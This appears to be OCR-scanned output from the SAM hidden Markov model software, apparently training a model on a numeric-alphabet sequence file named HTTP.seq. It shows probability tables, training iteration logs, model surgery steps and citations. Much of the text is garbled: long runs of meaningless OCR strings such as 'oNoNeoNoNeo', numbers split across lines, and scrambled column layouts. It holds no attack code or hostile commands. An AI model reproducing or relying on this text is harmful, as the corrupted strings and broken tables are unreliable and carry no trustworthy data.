oNoNeoBoNoNoNeoRolNoBolNoholNoNoNoNolNoNooNolNoNoloNoloNoloNolNolNoNoloNololNololNololeolo)

O O OO o oo

.000001
.000001
.000000
.000005
.000001
.000004
.000002
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000001
.000001
.000000
.000005
.000001
.000004
.000002

oNeoNoBoNeoNoNeoRolNoBoNohoNoNolNoNolNoNooNoloNoloNoloNoloNolNolNoNoloNololNololNololNollo)

O O OO o oo

.000003
.000004
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000005
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000003
.000004
.000001
.000000
.000000
.000000
.000000
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ocNeoleoBoNoNoNoNoNoNoNoloBolNoNoNoNoNoloBoloNoNoNoNoNoNololololNolNolNo

[eNeoNoNoloRoNoNoNoNoNolololololNoNolNolNolNo]

.000000
.000001
.000005
.000006
.000000
.000004
.000001
.000000
.000000
.000000
.000001
.000000
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

41

.458662
.477309
.063073
.990146
.000915
.000001
.000000
.000000
.000001
.000000
.000000
.000001
.000005
.000005
.000000
.000004
.000001
.000000
.000000
.000000

ocNeoloBoNoNoNoNoNoNololoBolNoNoNoNoNolNoBoloNoNoNoNoNoNololololNolNolNo)

[eNeoNoNoloRoNolNoNoNoNolololololNoNolNolNolNo]

.000001
.000002
.000000
.000000
.000002
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.002890
.989243
.006385
.000001
.000006
.000019
.000000
.000000
.000002
.000001
.000001
.000003
.000000
.000000
.000002
.000000
.000001
.000001
.000000
.000000

ocNeoloBoNoNoNoNoNoNoBoloBolNoNoNoNoNolNoBoloNoNoNoNoNoNololololNolNolNo

[eNeoNoNoloRoNoNoNoNoNolololololNoNolNolNolNo]

.000003
.000003
.000003
.000004
.000000
.000001
.000000
.000004
.000006
.000000
.000288
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.042898
.453577
.500544
.000001
.003588
.000115
.000000
.000000
.000000
.000001
.000003
.000003
.000003
.000004
.000000
.000001
.000000
.000004
.000006
.000000

ocNeoloBoNoNoNoNoNoNoBoloBolNoNoNoNoNolNoBoloNoNoNoNoNoNololololNolNolNo

eoNoNoNoloRololNoNoNoNolNoNolololNolNo

.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000001
.000001
.000000
.000005
.000001
.000004
.000002
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000

ocNeoloBoNoNoNoNoNoNoBolololNoNoNoNoNoloBololNoNoNoNoNoNololololNolNolNo

eNoNoNoloRololNoNoNoNolNoNolololNolNo

.000000
.000000
.000000
.000000
.000000
.000005
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000003
.004749
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000005
.000000
.000000
.000000
.000000
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oNoNeoNoNeoNoNeoRolNoholNololNoNololNolNolNololNololNello]

[eNoNeoNoNoNoNoNolohoBoNoloNoloNololNolNolNolNoNolNoNolololNololNolo]

.000001
.000000
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

42

.436601
.500326
.067019
.987085
.000009
.000002
.000000
.000000
.000001
.000000
.000001
.000001
.000004
.000240
.000000
.000238
.000001
.000000
.000000
.000000
.000002
.000000
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000

oNoNeoNoNeoNoNeoRolNoholNolNolNoNoloNolNolNololNololNello]

[eNoNeoNoNoNoNoNoloholBoNoloNoBoNololNolNoNolNoNolNolNolNololNololNolNo]

.000000
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.002361
.991253
.056635
.000001
.000006
.000021
.000000
.000000
.000002
.000001
.000001
.000002
.000000
.000000
.000002
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003

oNoNeoNoNeoNoNeoRolNoholNololNoNololNolNolNololNololNelo]

[eNoNeoNoNoNoNoNolohoBoNoloNoBoNololNoNoNolNoNolNoNolNololNololNolNo]

.000374
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.042278
.457178
.660363
.000001
.000752
.000057
.000000
.000000
.000000
.000001
.000003
.000003
.000003
.000004
.000000
.000001
.000000
.000004
.000006
.000000
.011110
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003

oNoNeoNoNeoNoNeoRolNoholNolNolNoNoloNolNolNololNololNello]

eoNeoNoNoNoNoNololooNoloNololNololNolNolNolNololNololeololNe]

.000001
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000001
.000001
.000000
.000005
.000001
.000004
.000002
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000401
.000000
.000001
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007

oNoNeoNoNeoNoNeoRolNoholNololNoNoloNolNolNololNololNello]

eoNeoNoNoNoNoNolololoNoloNololNololNolNolNoNololNololeololNe]

.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000003
.000004
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000005
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
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[cNeoNoNolNoNoNoNoNoNolololNe)

locNeoNoNoNoRoNoNoNoNoNoNoNolololoNoNoNoNoloBololNolNoNoNoNoNolololNolNoNoNolNolNolNololNe]

.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

43

.420922
.512060
.069486
.975618
.000008
.000002
.000000
.000000
.000001
.000000
.000001
.000001
.000005
.000006
.000000
.000004
.000001
.000000
.000001
.000000
.001390
.000000
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001

[cNeoNoNolNoNoNoNoNoNololNolNe)

locNeoNoNoloRolNoNoNoNoNoNoNolololNoNoNoNoNololololNoNoNoNoNoNolololNolNoNoNolNolNolNololNe]

.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.001608
.941758
.004569
.004168
.003407
.000040
.000000
.000000
.000002
.000688
.000001
.000002
.000000
.000000
.000002
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000

[cNeoNoNolNoNoNoNoNoNolololNe)

locNoNoNoloRolNoNoNoNoNoNoNolololNoNoNoNoNolNolololNoNoNoNoNoNololololNoNoNolNolNolNololNe]

.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.009444
.330193
.497474
.000001
.001792
.000104
.000000
.000000
.000000
.000001
.000004
.000004
.000003
.000004
.000000
.000001
.000000
.000004
.000006
.000000
.012691
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002

[cNeoNoNolNoNoNoNoNoNolololNe)

eNeoNoNoloRolNolNoNoNoNoNoNolololoNoNoNoNoNoBololololNoNoNoNoNololNolNolNolNolNolNo]

.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000001
.000001
.000000
.000005
.000001
.000005
.000003
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001

[cNeoNoNolNoNoNoNoNoNolololNe)

ocNeoNoNoloRolNolNoNoNoNoNoNolololoNoNoNoNoNoBololNololNoNoNoNoNololNolNolNolNolNolNo]

.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000003
.000004
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
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0.000005
.000001
0.000000
44

.369035
.561479
.055926
.003059
.000008
.000644
.000000
.000000
.004985
.000000
.002946
.003846
.018913
.006094
.000000
.000009
.002695
.000528
.000143
.000000
.003213
.000000
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000
nd

.000000
.493317
.000000
.000000
.000000
.000000

(@)

cNoNoNoNoNoRoNeoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNeoNoNoNoNoNoNoNeoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNeoNelNe)

(@)

.000001
.000000

0.000000

eoNeoNeoNoNoNoNoNolNohololNolNoNolNoNoNolNoloNoloNololNololNoNolNoNolNeoNoloNolBolNoloNololNololNololNel

O O OO oo

.000573
.994857
.001167
.000001
.000006
.000478
.001839
.000000
.004160
.000436
.000092
.012758
.000000
.000630
.000002
.000000
.000001
.003832
.000423
.000000
.002370
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.000000
.928991
.000000
.000000
.000000
.000000

(@)

.002553
.000000

0.000000

oNeoNeoNoNoNoNoNolNoholoNolNoNolNoNoNolNoloNoloNololNololNoNolNoNolNeoNoloNololNoloNololNololNololNel

O O OO oo

.031237
.471289
.491768
.000001
.000003
.798403
.000000
.000000
.000923
.000001
.018959
.016911
.011411
.000004
.000000
.000274
.000000
.000004
.000006
.001600
.000032
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.000000
.046216
.000000
.000000
.000000
.000000

oNoNeoBoNoNoNeoNolNohoBololBoNoNolNoNoNohoNoloNoNoNoloNololBoNoNoNololNololNoloNolNolNeolo) (@)

o

.000006
.000000
.000000

.000001
.000001
.000000
.027783
.003417
.024021
.015022
.001912
.000000
.000000
.000000
.000000
.000475
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000000
.000000
.000000

oNeoNeoBoNoNoNeoNolNoBoBololBoNoNolNolNoNohoNoloNoNoNoloNololBoNoNoNololNololNoloNolNoNolo) (@)

o

.000000
.000000
.000000

.000003
.000004
.002140
.000000
.000000
.000000
.000301
.000000
.000000
.000000
.000305
.000000
.000016
.000000
.000892
.000349
.000715
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000000
.000000
.000000
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0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
ENDMODEL

7.4.3. HTTP

oe

SAM: buildmodel v3.5 (July 15, 2005) compiled 07/15/05 11:25:30
(c) 1992-2001 Regents of the University of California, Santa Cruz

o oo

o

Sequence Alignment and Modeling Software System
http://www.cse.ucsc.edu/research/compbio/sam.html

o° o

oe

————————————————— Citations (SAM, SAM-T2K, HMMs) -—-——-—-———————————-——~-—
R. Hughey, A. Krogh, Hidden Markov models for sequence analysis:
Extension and analysis of the basic method, CABIOS 12:95-107, 1996.
K. Karplus, et al., What is the value added by human intervention in protein
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o

structure prediction, Proteins: Stucture, Function, Genetics 45(S5):86--91,
2001.
A. Krogh et al., Hidden Markov models in computational biology:

Applications to protein modeling, JMB 235:1501-1531, Feb 1994.

HTTP Host: ubuntu Sat Sep 26 16:18:32 2009

edsheut Dir: /home/edsheut/Escritorio/Muestras 1000

o° 0 o° o° o° o°

o\

Internal sequence weighting method 1
Regularizer FIM method train training letter frequencies (1)
Regularizer Insert method train training letter frequencies (1)
Model initial FIM method train training letter frequencies (1)
Model initial insert method train training letter frequencies (1)
Generic, Insert, and FIM tables dynamically reset to

train reset inserts geometric mean of match probabilities (6)
All models generated from regularizer.
Subsequence-submodel (local) (SW = 2)
Simple scores adjusted by +1.5*1n(seq len) (adjust score = 2)
Track 0 FIMs added (geometric mean of match probabilities (6))

o° o ° o o o° o° d° A o

o

% Model lengths: 42 41 39

% Itera- Average

% tion distance

% 1 -95.106 -88.688 -96.755
% 2 20.064 18.480 19.566
% 3 18.248 17.673 18.327
% 4 17.548 17.204 17.715
% 5 16.847 16.857 17.028
% 6 16.414 16.608 16.632
% 7 16.172 16.350 16.386
% 8 15.990 16.236 16.198
% 9 15.901 16.088 16.098
% 10 15.848 15.930 16.061
% 11 15.749 15.778 16.008
% 12 15.675 15.711 15.971
% 13 15.492 15.657 15.866
% 14 15.423 15.581 15.713
% 15 15.369 15.491 15.563
% 16 15.334 15.383 15.490
% 17 15.297 15.262 15.457
% 18 15.263 15.184 15.427
% 19 15.245 15.116 15.425
% 20 15.231 15.054 15.414
% 21 15.221 15.012 15.391
% 22 15.211 14.979 15.395
% 23 15.195 14.953 15.387
% 24 15.176 14.937 15.380
% 25 15.154 14.921 15.361
% 26 15.124 14.913 15.360
% 27 15.088 14.890 15.358
% 28 15.038 14.882 15.355
% 29 14.979 14.875 15.336
% 30 14.923 14.879 15.332
% 31 14.886 14.866 15.313
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o0 o0 0 O O OO O A A A A A A A A A A AN AN AN AN A AN O A AN AN AN AN AN AN AN A A A AN AN AN A A A A A A AN A A N O A A° A o

oe

32
33
34
35
36
37
38
39
40
Model O
Surgery,

41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
Surgery,

14

.865
14.
14.
14.
14.
14.
14.
14.
14.

848
845
840
841
835
831
829
827

14

.866
14.
14.
14.
14.
14.
14.
14.
14.

867
873
868
878
879
884
882
887

(counting from 0)
length 61

New mod.

I25{4} I26{3} D30 I31{1} I34{1} I38{4} TI40{7}
Model modified by surgery
15.
15.
.997
14.
14.
14.
14.
14.

14

14
14

14

472
199

777
592
508
406
334

.265
.227
14.
14.
14.

178
132
093

.058
14.
14.
13.
13.
13.
13.
13.
13.
13.
13.
13.
13.
13.
13.
13.
13.
13.
13.
13.
13.
13.
13.
13.
13.
13.
13.
New mod.

027
000
964
936
888
841
777
690
592
488
408
372
349
340
328
322
316
313
310
308
310
307
305
305
302
302

15
15
15
15.
15.
15.
15.
15.
15.
wins!!

(final length 61)

length 63

.288
.252
.202

156
130
098
072
053
043
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o

D37 I59{3}
Model modified by surgery (final length 63)

o\

% 81 15.503
% 82 14.147
% 83 13.876
% 84 13.810
% 85 13.742
% 86 13.661
% 87 13.520
% 88 13.221
% 89 12.866
% 90 12.751
% 91 12.706
% 92 12.681
% 93 12.660
% 94 12.614
% 95 12.584
% 96 12.577
% 97 12.573
% 98 12.572
% 99 12.572
% 100 12.568
% 101 12.568

o

o

TRAIN 1000 sequences (average length 38). Distance statistics...
Min:-25.25 (332) Max:-10.67 (481) Ave:-18.65 SampDev: 2.84
MinSDs: -2.33 MaxSDs: 2.82

o oo oP

o

Total CPU time: wuser O: 1:42 system 0: 0: 0
Finished at: Sat Sep 26 16:20:16 2009

o o° oP

oe

Parameters from command line and insert files:

oe

trainseed 0
% randseed 0

train HTTP.seq

alphabet def Numbers 101
Ntrain 1000
stopcriterion 0.000100
nsurgery 1000

anneal length 10.000000
initial noise 5.000000
mainline cutoff 0.200000
SW 0

Insert method train 1

MODEL -- Final model for run HTTP (internally generated FIMs removed)
alphabet def Numbers 101
GENERIC

1.886984 0.254944 0.376488
1.819972 15.521340 3.764209
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.225758
.905652
.004085
.019650
.000750
.000259
.000491
.000103
.000595
.000621
.000207
.001008
.000388
.001164
.000026
.005817
.000103
.001396
.000000
.000000
.000000
.905652
.004085
.019650
.000750
.000259
.000491
.000103
.000595
.000621
.000207
.001008
.000388
.001164
.000026
.005817
.000103
.001396
.000000
.000000
.000000
LETTCOUNT
.000000
.000000
.000000
.905652
.004085
.019650
.000750
.000259
.000491
.000103
.000595
.000621

ocNeoNoBolBolNolNoNoNoNoNolNohololoNoNoNoNoNololololNoNoNoNoNoNololololoNoNoNoNolNolololNe
ocNeoNololBolNolNoNoNoNoNoNolololoNoNoNoNoNolololoNoNoNoNoNoNololololoNoNoNoNolNolololNe)

[eNeoNoNolololNolNolNolNolNolNo]
[eNeoNoNolololNolNolNolNolNolNo)

.265967
.000517
.004240
.012540
.001655
.000517
.001112
.000646
.000414
.000155
.000000
.000181
.000621
.001086
.001577
.000026
.000026
.000026
.000000
.000000
.000000
.000517
.004240
.012540
.001655
.000517
.001112
.000646
.000414
.000155
.000000
.000181
.000621
.001086
.001577
.000026
.000026
.000026
.000000
.000000
.000000

.000000
.000000
.000000
.000517
.004240
.012540
.001655
.000517
.001112
.000646
.000414
.000155

ecNeoNoRoloNoNoNoNoNoNoloBololNoNoNoNololNolololNoNoNoNoNoNolololNolNolNolNolNolNollole e Re Ry

[eNeoNoNololoNolNoNolNolNolNo

.006562
.000983
.004266
.000129
.000026
.000310
.000078
.000052
.000026
.000259
.000336
.000957
.000026
.000491
.000103
.001448
.006567
.000000
.000000
.000000
.000000
.000983
.004266
.000129
.000026
.000310
.000078
.000052
.000026
.000259
.000336
.000957
.000026
.000491
.000103
.001448
.006567
.000000
.000000
.000000
.000000

.000000
.000000
.000000
.000983
.004266
.000129
.000026
.000310
.000078
.000052
.000026
.000259

ocNeoNoRolBolNoNoNoNoNoNolNoBololNoNoNoNolNoNolololoNoNoNoNoNololololNoNoNoNolNolNolololNe

OO OO OO O oo

.001396
.002999
.000078
.000026
.001060
.000103
.000440
.000569
.000259
.000207
.000078
.000465
.000052
.000052
.000078
.000000
.000078
.000000
.000000
.000000
.001396
.002999
.000078
.000026
.001060
.000103
.000440
.000569
.000259
.000207
.000078
.000465
.000052
.000052
.000078
.000000
.000078
.000000
.000000
.000000

.001396
.002999
.000078
.000026
.001060
.000103
.000440
.000569
.000259

ocNeoNoRolBolNoNoNoNoNoNolNoBololNoNoNoNolNoNolololoNoNoNoNoNololololNoNoNoNolNolNolololNe

OO OO OO O oo

.001965
.004395
.000078
.000000
.000000
.000259
.000052
.000000
.000233
.000000
.000103
.000026
.000491
.000750
.000000
.000000
.000000
.000000
.000000
.000000
.001965
.004395
.000078
.000000
.000000
.000259
.000052
.000000
.000233
.000000
.000103
.000026
.000491
.000750
.000000
.000000
.000000
.000000
.000000
.000000

.001965
.004395
.000078
.000000
.000000
.000259
.000052
.000000
.000233
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.000207
.001008
.000388
.001164
.000026
.005817
.000103
.001396
.000000
.000000
.000000
.905652
.004085
.019650
.000750
.000259
.000491
.000103
.000595
.000621
.000207
.001008
.000388
.001164
.000026
.005817
.000103
.001396
.000000
.000000
.000000
FREQAVE

.000000
.000000
.000000
.892228
.003774
.026971
.000624
.000341
.000444
.000097
.000519
.000595
.000175
.000718
.000296
.000935
.000021
.009133
.000134
.003050
.000000
.000000

cNoNeoBoNoNoloololololNoBoNolBoNolBolNololNoBololoNeololNololololNolNo)

eoNeoNoNoNoNoNolololoNoloNololololololNolNolNe]

ecNoNeoBoNoNolNoolooloNoloNolBolNololNoloNolololoNeolNolNololololNolNe)

[eoNeoNoNoNoNoNolololoNoloNololNololololNolNolNo]

.000000
.000181
.000621
.001086
.001577
.000026
.000026
.000026
.000000
.000000
.000000
.000517
.004240
.012540
.001655
.000517
.001112
.000646
.000414
.000155
.000000
.000181
.000621
.001086
.001577
.000026
.000026
.000026
.000000
.000000
.000000

.000000
.000000
.000000
.000400
.003611
.016331
.001340
.000403
.000939
.000578
.000466
.000181
.000000
.000000
.000525
.000834
.001224
.000020
.000035
.000042
.000000
.000000

cNoNeoBoNoNoloololooNoloNolBolNolBolNoloNolololoNeolNolNololololNolNe)

eoNeoNoNoNoNoNolololoNoloNololNololololNolNolNe]

.000336
.000957
.000026
.000491
.000103
.001448
.006567
.000000
.000000
.000000
.000000
.000983
.004266
.000129
.000026
.000310
.000078
.000052
.000026
.000259
.000336
.000957
.000026
.000491
.000103
.001448
.006567
.000000
.000000
.000000
.000000

.000000
.000000
.000000
.000889
.003441
.000103
.000018
.000631
.000064
.000053
.000027
.000255
.000286
.000828
.000009
.000372
.000042
.001816
.008802
.000000
.000000
.000000

ecNoNeoBoNoNolololololololBoNolBolNolBolNololNolololoNeolNolNololololNolNe)

eoloNoNoNoNoNoNolNololololNolNololNololNolNo)

.000207
.000078
.000465
.000052
.000052
.000078
.000000
.000078
.000000
.000000
.000000
.001396
.002999
.000078
.000026
.001060
.000103
.000440
.000569
.000259
.000207
.000078
.000465
.000052
.000052
.000078
.000000
.000078
.000000
.000000
.000000

.001391
.002442
.000062
.000018
.000862
.000069
.000388
.000531
.000225
.000251
.000003
.000299
.000000
.000022
.000066
.000000
.000145
.000000
.000000

cNoNeoBoNoNoloolololoNoloNolBoNoolNololNolololoNolNolNololololNolNo)

eloNoNoNoNoNoNolNolololoNolNololNololNolNo)

.000000
.000103
.000026
.000491
.000750
.000000
.000000
.000000
.000000
.000000
.000000
.001965
.004395
.000078
.000000
.000000
.000259
.000052
.000000
.000233
.000000
.000103
.000026
.000491
.000750
.000000
.000000
.000000
.000000
.000000
.000000

.001684
.005321
.000027
.000000
.000000
.000254
.000055
.000000
.000272
.000000
.000000
.000000
.000403
.000588
.000000
.000000
.000000
.000000
.000000
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.000000
.892228
.003774
.026971
.000624
.000341
.000444
.000097
.000519
.000595
.000175
.000718
.000296
.000935
.000021
.009133
.000134
.003050
.000000
.000000
.000000
egin

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009

cNeoNoNeoNeoNoNoNoNoNoNoNoNoNoNoNoNoNeoNoNoNoNoNoNoNoNoNoNeoNoNoNoNoN/NeoNoNolNoNoNoNoNoNoNoNoNoNoNoNoNoNoNeoNoNolNe]

ecNeoNoholololoNoNoNoNoNoNololNoNololNolNolNolNo]

eNeoNoNoloRoNolNoNoNoNoNoNoBolololNoNoNoNoNolololNolNoloNolNoNol o ilolNe]

.000000
.000400
.003611
.016331
.001340
.000403
.000939
.000578
.000466
.000181
.000000
.000000
.000525
.000834
.001224
.000020
.000035
.000042
.000000
.000000
.000000

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002

ecNeoNoholololoNoNoNoNoNoNololNolNololNolNolNolNo]

ecNeoNoNoloRoBNoloNoNoNoNoNolololoNoNoNoNoNolololNololoNolNoNol o ilolNe]

.000000
.000889
.003441
.000103
.000018
.000631
.000064
.000053
.000027
.000255
.000286
.000828
.000009
.000372
.000042
.001816
.008802
.000000
.000000
.000000
.000000

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004

cNeoNoholoNoloNoNoNoNoNoNololNoNololNolNolNolNo]

oNeoNoNoloRoloNoNoNoNoNoholololNoNoNolNoNololNololNolNolNolNolNolNo]

.000000
.001391
.002442
.000062
.000018
.000862
.000069
.000388
.000531
.000225
.000251
.000003
.000299
.000000
.000022
.000066
.000000
.000145
.000000
.000000
.000000

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003

cNeoNohololNoloNoNoNoNoNoNololNolNololNolNolNolNo]

oNoNoNoloRolNoNoNoNoNolNoholoRoNoNoNoNoNololNololNolNolNolNolNolNo]

.000000
.001684
.005321
.000027
.000000
.000000
.000254
.000055
.000000
.000272
.000000
.000000
.000000
.000403
.000588
.000000
.000000
.000000
.000000
.000000
.000000

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
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O O OO OO OO ooOo

eoNoNoNoNoNoNolohololNoloNoolNololNolNoloNoNoNoNoloBolNoNoNoolNololNoloNolNolNolNololeololNeo]

.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

1

.000000
.000000
.004913
.998893
.000048
.000230
.000009
.000003
.000006
.000001
.000007
.000007
.000002
.000012
.000005
.000014
.000000
.000068
.000001
.000016
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000

O O OO OO OO ooOo

eoNeoNoNoNoNoNolohololNoloNoolNololNolNolNoNoNoNoNoloBolNoNoNololNololololololNolNooRNaoll il

.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.000000
.000000
.002649
.000006
.000050
.000147
.000019
.000006
.000013
.000008
.000005
.000002
.000000
.000002
.000007
.000013
.000019
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000

O O OO OO OO ooOo

eoNoNoNoNoNoNoloholoNoloNololNololNolNoNoNoNoNoNolololNoNoNololNololNololololNolNooRNaol il

.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.000000
.000000
.480240
.000012
.000050
.000002
.000000
.000004
.000001
.000001
.000000
.000003
.000004
.000011
.000000
.000006
.000001
.000017
.000077
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
